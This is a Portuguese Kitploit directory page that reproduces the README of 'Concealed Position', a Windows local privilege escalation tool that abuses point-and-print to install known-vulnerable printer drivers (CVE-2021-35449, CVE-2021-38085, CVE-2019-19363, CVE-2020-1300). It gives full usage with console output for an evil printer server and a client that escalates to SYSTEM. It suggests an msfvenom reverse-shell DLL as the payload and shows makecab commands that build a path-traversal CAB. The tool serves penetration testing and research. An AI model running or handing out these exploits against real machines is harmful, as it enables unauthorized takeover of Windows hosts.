Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
concealed_position — Ferramenta de escalonamento de privilégios usando seu próprio driver de impressão | Kitploit
Ferramentas/GitHubGitHub/jacob-baines/concealed_position
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de Penetração
GitHubjacob-baines/concealed_position

concealed_position

Ferramenta de escalonamento de privilégios usando seu próprio driver de impressão

Ver Repositório
26344há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Concealed Position

Concealed Position é um ataque de escalonamento de privilégio local contra Windows usando o conceito de "Bring Your Own Vulnerability". Especificamente, Concealed Position (CP) usa a lógica as designed de package point and print no Windows que permite a um usuário de baixo privilégio encenar e instalar drivers de impressora. CP instala especificamente drivers com vulnerabilidades conhecidas que são então exploradas para escalar para SYSTEM. Concealed Position foi apresentada pela primeira vez no DEF CON 29.

Quais exploits estão disponíveis

Concealed Position oferece quatro exploits - todos com nomes igualmente idiotas:

  • ACIDDAMAGE - CVE-2021-35449 - LPE do Driver de Impressão Universal Lexmark
  • RADIANTDAMAGE - CVE-2021-38085 - LPE do Driver de Impressão Canon TR150
  • POISONDAMAGE - CVE-2019-19363 - LPE do Driver de Impressão Ricoh PCL6
  • SLASHINGDAMAGE - CVE-2020-1300 - LPE do Spooler de Impressão do Windows

Os exploits são interessantes porque, além do SLASHINGDAMAGE, eles continuarão funcionando mesmo após os problemas serem corrigidos. O único mecanismo que o Windows tem para impedir que usuários usem drivers antigos é revogar o certificado do driver - algo que não é(?) feito historicamente.

Mas qual exploit devo usar?!

Provavelmente ACIDDAMAGE. RADIANTDAMAGE e POISONDAMAGE são condições de corrida (para sobrescrever uma DLL) e SLASHINGDAMAGE, esperançosamente, está corrigido na maioria dos lugares.

Como funciona?

Concealed Position tem duas partes. Uma impressora maléfica e um cliente. O cliente contata o servidor, pega um driver, faz o driver ser armazenado no repositório de drivers, instala a impressora e explora o processo de instalação. Fácil! Em linguagem MSAPI, o ataque funciona mais ou menos assim:

root@kitploit:~
Step 1: Stage the driver in the driver store
client to server: GetPrinterDriver
server to client: Response with driver

Stage 2: Install the driver from the driver store
client: InstallPrinterDriverFromPackage

Stage 3: Add a local printer (exploitation stage)
client: Add printer

É importante notar que o SLASHINGDAMAGE na verdade não funciona assim. O SLASHINGDAMAGE é uma implementação do ataque de impressora maléfica descrito no DEFCON 28 (2020) e já foi corrigido há muito tempo. Acontece que eu gosto do ataque (ele desencadeou o resto deste desenvolvimento) e resolvi deixar o exploit no meu servidor maléfico... por mais confuso que isso possa ser.

Isso é uma vulnerabilidade do Windows?

Discutivelmente, sim. O repositório de drivers é uma "coleção confiável de ... pacotes de drivers de terceiros" que requer acesso de administrador para modificar. Usando GetPrinterDriver, um atacante de baixo privilégio pode encenar drivers arbitrários no repositório. Isso, para mim, cruza uma clara fronteira de segurança.

A Microsoft parecia concordar quando emitiu CVE-2021-34481.

Embora... seja discutível que isso é simplesmente uma característica do sistema e não uma vulnerabilidade. Na verdade, não importa tanto assim. Um atacante pode escalar para SYSTEM em instalações padrão do Windows.

Quais versões do Windows são afetadas pelo CVE-2021-34481?

Pelo menos Windows 8.1 e superior.

Como usar essas ferramentas?

Simples! Tão simples que haverá muitos parágrafos para descrever!

CP Server

Primeiro, vamos ver as opções de linha de comando do cp_server:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    server!

CLI options:
  -h, --help                     Display the help message
  -e, --exploit arg              The exploit to use
  -c, --cabs arg (=.\cab_files)  The location of the cabinet files

Exploits available:
        ACIDDAMAGE
        POISONDAMAGE
        RADIANTDAMAGE
        SLASHINGDAMAGE

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Acima você pode ver que o servidor requer duas opções:

  1. O exploit para configurar a impressora
  2. Um caminho para os cab_files deste repositório (.\cab_files\ é o padrão)

Por exemplo, digamos que queremos configurar uma impressora maléfica que sirva o driver ACIDDAMAGE. Basta fazer isso:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    server!

[+] Creating temporary space...
[+] Expanding .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

E é isso, você verá uma nova impressora no seu sistema:

root@kitploit:~
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer

Name                           ComputerName    Type         DriverName                PortName        Shared   Publishe
                                                                                                               d
----                           ------------    ----         ----------                --------        ------   --------
ACIDDAMAGE                                     Local        Lexmark Universal v2      LPT1:           True     False
CutePDF Writer                                 Local        CutePDF Writer v4.0       CPW4:           False    False
OneNote for Windows 10                         Local        Microsoft Software Pri... Microsoft.Of... False    False
Microsoft XPS Document Writer                  Local        Microsoft XPS Document... PORTPROMPT:     False    False
Microsoft Print to PDF                         Local        Microsoft Print To PDF    PORTPROMPT:     False    False
Fax                                            Local        Microsoft Shared Fax D... SHRFAX:         False    False


PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Observe que há uma etapa manual que o cp_server pede para você fazer. Porque sou um hacker meia-boca, não consegui descobrir como definir programaticamente as "Configurações Avançadas de Compartilhamento" -> "Desativar compartilhamento protegido por senha". Você terá que fazer isso sozinho!

O processo para usar o SLASHINGDAMAGE é um pouco diferente. Você precisará primeiro instalar o CutePDF Writer (encontre os instaladores no diretório de terceiros). Depois execute cp_server e então você ainda precisará seguir algumas etapas manuais e reiniciar.

CP Client

O cliente é igualmente fácil de usar. Vamos ver suas opções de linha de comando:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
 _______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
 _______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

CLI options:
  -h, --help         Display the help message
  -r, --rhost arg    The remote evil printer address
  -n, --name arg     The remote evil printer name
  -e, --exploit arg  The exploit to use
  -l, --local        No remote printer. Local attack only.
  -d, --dll arg      Path to user provided DLL to execute.

Exploits available:
        ACIDDAMAGE
        POISONDAMAGE
        RADIANTDAMAGE

Primeiro, gostaria de abordar a opção --dll. O cliente tem um payload embutido que simplesmente escreverá o arquivo C:\result.txt. No entanto, os usuários podem fornecer sua própria DLL através desta opção. Um bom exemplo de algo que você pode querer usar é um reverse shell x64 produzido pelo msfvenom. Mas para o resto disso, vamos apenas assumir o payload embutido.

cp_client tem dois modos: remoto e local. A opção remota é a mais interessante porque adiciona o driver vulnerável ao repositório de drivers (executando assim a vulnerabilidade de trazer seu próprio driver de impressão), então vamos começar com essa. Digamos que eu queira conectar de volta à impressora maléfica ACIDDAMAGE que configuramos anteriormente. Preciso apenas fornecer:

  1. O exploit que quero usar
  2. O endereço IP da impressora maléfica
  3. O nome da impressora compartilhada maléfica

Assim!

root@kitploit:~
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
_______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
_______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

[+] Checking if driver is already installed
[-] Driver is not available.
[+] Call back to evil printer @ \\10.0.0.9\ACIDDAMAGE
[+] Staging driver in driver store
[+] Installing the staged driver
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!

É isso! Para executar um ataque apenas local, você só precisa fornecer o exploit:

root@kitploit:~
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
_______  _______  __    _  _______  _______  _______  ___      _______  ______
|       ||       ||  |  | ||       ||       ||   _   ||   |    |       ||      |
|       ||   _   ||   |_| ||       ||    ___||  |_|  ||   |    |    ___||  _    |
|       ||  | |  ||       ||       ||   |___ |       ||   |    |   |___ | | |   |
|      _||  |_|  ||  _    ||      _||    ___||       ||   |___ |    ___|| |_|   |
|     |_ |       || | |   ||     |_ |   |___ |   _   ||       ||   |___ |       |
|_______||_______||_|  |__||_______||_______||__| |__||_______||_______||______|
_______  _______  _______  ___   _______  ___   _______  __    _
|       ||       ||       ||   | |       ||   | |       ||  |  | |
|    _  ||   _   ||  _____||   | |_     _||   | |   _   ||   |_| |
|   |_| ||  | |  || |_____ |   |   |   |  |   | |  | |  ||       |
|    ___||  |_|  ||_____  ||   |   |   |  |   | |  |_|  ||  _    |
|   |    |       | _____| ||   |   |   |  |   | |       || | |   |
|___|    |_______||_______||___|   |___|  |___| |_______||_|  |__|    client!

[+] Checking if driver is already installed
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!

C:\Users\albinolobster\concealed_position\build\x64\Release\bin>

Por que o cliente não tem uma opção SLASHINGDAMAGE?

SLASHINGDAMAGE não precisa de um cliente especial para exploração. Você pode usar a interface do usuário ou a linha de comando para conectar à impressora remota e é isso! Infelizmente, se você quiser criar um payload personalizado, precisará atualizar o CAB no diretório cab_files. Mas isso é fácil. Algo assim:

root@kitploit:~
echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab

É provavelmente importante saber que a versão do SLASHINGDAMAGE no repositório coloca ualapi.dll em SYSTEM32 e, quando executada na reinicialização, coloca o arquivo C:\result.txt.

Pull Requests e Bugs

Você quer enviar um pull request ou reportar um bug? Ótimo! Eu agradeço, mas se você não fornecer detalhes suficientes para reproduzir um bug ou explicar por que um pull request deve ser aceito, então há 100% de chance de eu fechar seu problema sem comentários. Eu agradeço, mas também estou bastante ocupado.

Outras coisas

Uma coisa a notar é que a dll inject_me está realmente embutida no cp_client como um array C. Se você atualizar o inject_me, precisará atualizar manualmente o array C também (basta usar xxd para gerar o array).

Baixar ferramenta